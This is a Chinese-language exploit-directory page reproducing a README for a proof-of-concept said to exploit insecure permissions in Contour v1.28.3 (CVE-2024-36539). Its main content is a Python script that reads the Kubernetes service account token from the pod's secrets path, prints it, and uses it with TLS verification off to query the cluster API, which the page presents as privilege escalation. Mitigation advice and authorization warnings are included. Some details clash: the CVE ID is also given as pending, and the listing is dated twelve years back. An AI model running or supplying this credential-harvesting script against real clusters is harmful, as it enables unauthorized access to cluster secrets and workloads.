Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-36539 — Contour v1.28.3 中不安全权限的 PoC 漏洞利用,可检索 Kubernetes 服务账户令牌并访问集群 API,演示权限提升。 | Kitploit
工具/GitHubGitHub/abdurahmon3236/cve-2024-36539
权限提升容器安全漏洞分析漏洞利用后渗透利用渗透测试云安全红队
GitHubabdurahmon3236/cve-2024-36539

CVE-2024-36539

Contour v1.28.3 中不安全权限的 PoC 漏洞利用,可检索 Kubernetes 服务账户令牌并访问集群 API,演示权限提升。

查看仓库
12年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

这是为 Contour v1.28.3 中不安全权限漏洞的概念验证 PoC 提供的 README.md:


Contour v1.28.3 中不安全权限漏洞的概念验证 (PoC)

此仓库包含一个概念验证 (PoC) 脚本,演示了 Contour v1.28.3 中的一个不安全权限漏洞。该漏洞允许攻击者通过获取服务账户的令牌来访问敏感数据并提升权限。

漏洞描述

CVE-ID:(待定)

概述: Contour v1.28.3 存在不安全权限,允许攻击者访问服务账户的令牌。通过利用此漏洞,攻击者可以获取服务账户的令牌,该令牌可用于访问敏感数据,并可能在 Kubernetes 集群中提升权限。

受影响版本:

  • Contour v1.28.3

缓解措施:

  • 审查并调整 Contour 使用的服务账户权限。
  • 确保服务账户仅具有所需的最小权限。
  • 定期审计并轮换服务账户令牌。

PoC 详情

此 PoC 脚本演示了如何在 Contour v1.28.3 中访问服务账户的令牌。请确保你有明确的授权来执行此测试。

PoC 脚本

root@kitploit:~
import os
import requests

# Configuration
kubernetes_api_url = "https://kubernetes.default.svc"  # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token"  # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace"  # Path to the namespace

def get_service_account_token():
    try:
        # Read the service account token
        with open(token_path, 'r') as token_file:
            token = token_file.read().strip()
        print(f"[+] Service Account Token: {token}")
        return token
    except Exception as e:
        print(f"[-] Error reading token: {e}")
        return None

def get_namespace():
    try:
        # Read the namespace
        with open(namespace_path, 'r') as namespace_file:
            namespace = namespace_file.read().strip()
        print(f"[+] Namespace: {namespace}")
        return namespace
    except Exception as e:
        print(f"[-] Error reading namespace: {e}")
        return None

def access_kubernetes_api(token, namespace):
    try:
        # Set the headers with the token
        headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json"
        }
        
        # Make a request to the Kubernetes API to get pods in the namespace
        response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
        
        # Print the response details
        print("Status Code:", response.status_code)
        print("Response Body:", response.json())
        
        if response.status_code == 200:
            print("[+] Successfully accessed Kubernetes API.")
        else:
            print("[-] Failed to access Kubernetes API.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    # Get the service account token and namespace
    token = get_service_account_token()
    namespace = get_namespace()
    
    if token and namespace:
        # Access the Kubernetes API using the token
        access_kubernetes_api(token, namespace)

说明

  1. 配置:脚本配置了 Kubernetes API URL 以及服务账户令牌和命名空间文件的路径。
  2. 获取服务账户令牌:从文件系统中读取服务账户令牌。
  3. 获取命名空间:从文件系统中读取命名空间。
  4. 访问 Kubernetes API:使用令牌向 Kubernetes API 发起请求,列出命名空间中的 Pod。

重要注意事项

  • 权限:确保你有明确的授权才能在目标系统上测试此漏洞。未经授权的测试是非法且不道德的。
  • 测试环境:在受控环境中进行测试,以避免影响生产系统。
  • 道德使用:负责任地使用此 PoC,且仅在授权环境中使用。

缓解措施

要解决此漏洞:

  1. 审查服务账户权限:确保服务账户仅具有所需的最小权限。
  2. 审计并轮换令牌:定期审计服务账户并轮换令牌,以最大程度地降低令牌被泄露的风险。
  3. 更新 Contour:保持 Contour 及其他 Kubernetes 组件更新到最新的安全补丁。

有关保护 Contour 部署的更多信息,请参阅官方 Contour 文档。


此 README.md 提供了漏洞概述、演示该问题的 PoC 脚本以及如何缓解风险的说明。请确保负责任地使用此 PoC,且仅在你拥有明确授权的系统上使用。

下载工具